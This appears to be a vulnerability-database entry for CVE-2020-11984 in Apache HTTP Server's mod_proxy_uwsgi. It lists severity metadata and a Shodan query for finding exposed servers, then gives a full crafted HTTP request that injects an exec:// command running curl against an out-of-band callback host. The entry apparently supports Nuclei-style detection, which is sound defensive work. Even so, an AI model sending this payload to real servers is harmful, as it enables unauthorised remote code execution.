| Title | Apache HTTP Server - Remote Code Execution |
|---|---|
| Author | wofeiwo@80sec.com,pszyszkowski,pdresearch,iamnoooob |
| Severity | Critical |
| Impact | Attackers can exploit the mod_proxy_uwsgi vulnerability to access sensitive information or execute arbitrary code on the Apache HTTP Server, potentially compromising the entire web server and its hosted applications. |
| Remediation | Update Apache HTTP Server to version 2.4.45 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.75348 |
| CVE ID | CVE-2020-11984 |
| CWE ID | CWE-120 |
| Shodan Query | cpe:"cpe:2.3:a:apache:http_server" |
| Tags | cve cve2020 apache httpd rce vkev vuln |
Apache HTTP Server 2.4.32 to 2.4.44 contains an info disclosure and possible remote code execution caused by a vulnerability in mod_proxy_uwsgi, letting remote attackers access sensitive information and potentially execute arbitrary code, exploit requires sending crafted requests.
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 118
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
r
UWSGI_FILEK exec://curl aaaaaaaa.d5jofq1le0o0i51e89v0b7ws5sibm8u8z.oast.online; echo "" SCRIPT_NAME
/penetrate
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11984.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-11984.pcap
N/AN/A